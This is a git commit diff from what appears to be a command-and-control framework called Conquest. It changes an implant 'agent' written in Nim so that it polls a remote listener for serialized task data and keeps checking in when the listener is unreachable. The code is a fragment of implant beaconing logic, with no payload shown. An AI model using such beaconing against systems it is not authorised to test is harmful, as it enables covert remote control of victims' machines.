Agent fetches serialized task data from prologue web server and successfully parses it.

This commit is contained in:
Jakob Friedl
2025-07-18 18:47:57 +02:00
parent 5825ec91a1
commit d22ad0bd0c
13 changed files with 275 additions and 86 deletions

View File

@@ -1,6 +1,6 @@
import httpclient, json, strformat, asyncdispatch
import ./[types, agentinfo]
import ./[types, utils, agentinfo]
proc register*(config: AgentConfig): string =
@@ -32,23 +32,24 @@ proc register*(config: AgentConfig): string =
finally:
client.close()
proc getTasks*(config: AgentConfig, agent: string): seq[Task] =
proc getTasks*(config: AgentConfig, agent: string): string =
# let client = newAsyncHttpClient()
# var responseBody = ""
let client = newAsyncHttpClient()
var responseBody = ""
# try:
# # Register agent to the Conquest server
# responseBody = waitFor client.getContent(fmt"http://{config.ip}:{$config.port}/{config.listener}/{agent}/tasks")
# return parseJson(responseBody).to(seq[Task])
try:
# Retrieve binary task data from listener and convert it to seq[bytes] for deserialization
responseBody = waitFor client.getContent(fmt"http://{config.ip}:{$config.port}/{config.listener}/{agent}/tasks")
return responseBody
except CatchableError as err:
# When the listener is not reachable, don't kill the application, but check in at the next time
echo "[-] [getTasks]: Listener not reachable."
finally:
client.close()
# except CatchableError as err:
# # When the listener is not reachable, don't kill the application, but check in at the next time
# echo "[-] [getTasks]: ", responseBody
# finally:
# client.close()
return @[]
return ""
proc postResults*(config: AgentConfig, agent: string, taskResult: TaskResult): bool =